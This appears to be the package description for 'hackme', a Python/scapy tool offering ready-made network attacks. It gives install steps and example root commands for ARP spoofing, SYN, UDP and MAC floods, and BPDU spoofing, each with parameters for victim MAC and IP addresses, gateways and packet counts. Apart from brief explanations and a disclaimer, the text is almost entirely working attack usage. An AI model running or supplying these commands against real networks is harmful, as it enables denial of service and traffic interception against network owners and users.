Package: hackme
Hack MeA collection of scripts that implement different network attacks.For informational purposes only.Any contributor to this project doesn't take any responsibility for illegal usage of any script from this project.Installation and UsageThe tested environment:Python v3.10Ubuntu 22.04 LTSMake sure thatpython3-scapyis installed on your system:sudo apt-get install python3-scapyYou can either runhackmeapp.pyfrom a checkout of the code, or install it like any other python project. Keep in mind that a lot of scripts here can be executed only with the root privileges, so you need to run it with sudo.$sudopip3installhackme
$sudohackme
usage:hackmeapp.py[-h][--debug]{attack}...To enter the debug mode, use the--debugoption after thehackmecommand.To get the attack description in the terminal, enterhackme <attack> --descImplemented AttacksThe following commands include the--debugoption, which is not required to execute an attack.ARP SpoofingYou can read about ARP spoofing attackhere.Example usage:$sudohackme--debugarpspoof-iwlp2s0-maa:aa:aa:aa:aa:aa-gmBB-BB-BB-BB-BB-BB-gip192.168.0.1-vmcc:cc:cc:cc:cc:cc-vip192.168.0.108where:wlp2s0— your network interfaceaa:aa:aa:aa:aa:aa— the interface MAC-address (can be written asAA:AA:AA:AA:AA:AA,AA-AA-AA-AA-AA-AAandaa-aa-aa-aa-aa-aa)bb:bb:bb:bb:bb:bb— the gateway's MAC-address192.168.0.1— the gateway's IP-addresscc:cc:cc:cc:cc:cc— the victim's MAC-address192.168.0.108— the victim's IP-addressRunsudo hackme arpspoof --helpto get more information.SYN FloodYou can read about SYN flood attackhere.Example usage:$sudohackme--debugsynflood-d172.17.17.10-p443-c1000where:172.17.17.10— server's IP-address443— server's port1000— the number of packets to be sentRunsudo hackme synflood --helpto get more information.UDP FloodYou can read about UDP flood attackhere.Example usage:$sudohackme--debugudpflood-d172.17.17.10-p53-c1000where:172.17.17.10— server's IP-address53— server's port1000— the number of packets to be sentRunsudo hackme udpflood --helpto get more information.MAC FloodYou can read about MAC flood attackhere.Example usage:$sudohackme--debugmacflood-iwlp2s0-vm"aa:aa:aa:aa:aa:aa"-c100000where:wlp2s0— your network interfaceaa:aa:aa:aa:aa:aa— the victim's MAC-address (can be written asAA:AA:AA:AA:AA:AA,AA-AA-AA-AA-AA-AAandaa-aa-aa-aa-aa-aa)100000— the number of packets to be sentRunsudo hackme macflood --helpto get more information.BPDU SpoofingOn a Layer 2 network, switches running STP, RSTP, MSTP, or VBST exchange BPDUs to calculate a spanning tree and trim the network into a loop-free tree topology. If forged BPDUs are sent to attack a device with edge ports and received by them, the device will automatically change the edge ports to non-edge ports and recalculate the spanning tree. If the bridge priority in the BPDUs sent by an attacker is higher than the priority of the root bridge, the network topology will change, thereby interrupting service traffic.Example usage:sudo./hackmeapp.py--debugstpspoof-iwlp2s0-smac"aa:aa:aa:aa:aa:aa"-dmac"bb:bb:bb:bb:bb:bb"-p4096wlp2s0— your network interfaceaa:aa:aa:aa:aa:aa— your MAC-addressbb:bb:bb:bb:bb:bb— victim switch's MAC-address4096— priority for choosing the root switch (the lower the number, the higher the priority, so make sure it's low enough to become the root). Must be divisible by 4096